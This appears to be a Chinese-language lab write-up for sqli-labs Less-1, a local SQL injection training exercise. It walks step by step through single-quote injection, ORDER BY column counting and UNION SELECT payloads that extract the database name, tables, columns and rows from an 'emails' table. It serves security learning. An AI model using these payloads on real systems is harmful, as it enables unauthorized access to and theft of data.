zhiLess-1–基于单引号的字符型注入
初始界面:
上面提示:
Please input the ID as parameter with numeric value
意思是我们应该输入一个ID信息
我们给他一个id的传参 ?id=1
在id的之后面加 ’ 可判断 是否有漏洞
可以看到数据库报错了,最重要的就是能够看懂数据库的错误信息,从错误信息中我们可以知道是单引号的匹配出了问题,也就是说我们添加的单引号成功被数据库解析,那么我们就可以通过闭合这个id这个参数,然后插入自己构造的sql语句实施攻击。
然后找字段数
确定字段数一般可以使用order by 语句
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 1-- qwe
执行成功;
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 2 -- qwe
执行成功;
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 3 -- qwe
执行成功;
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 4 -- qwe
报错。
意思就是没有第四个字段,也就可以推断原本的sql语句只是有用到了三个字段。
注意:
–+:结束符
–:注释符
#:注释符
因为sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果集变为空,这样我们想要的结果才能显示在界面上,现在我们又需要确定哪几个字段会被显示在页面上:
http://127.0.0.1/sqli-labs-master/Less-1/?id=10' union select 1,2,3 -- qwe
可以看到字段2,3被显示在了页面上。
接着可以获取数据库的库名
http://127.0.0.1/sqli-labs-master/Less-1/?id=10' union select 1,database(),3 -- qwe
可以看出数据库名字为'security'
再接着获取表名
http://127.0.0.1/sqli-labs-master/Less-1/?id=10' union select 1,table_name,3 from information_schema.tables where table_schema='security' -- qwe
然后获取列名
http://127.0.0.1/sqli-labs-master/Less-1/?id=10' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='emails' -- qwe
最后就可以判断字段
http://127.0.0.1/sqli-labs-master/Less-1/?id=10' union select 1,id,3 from emails -- qwe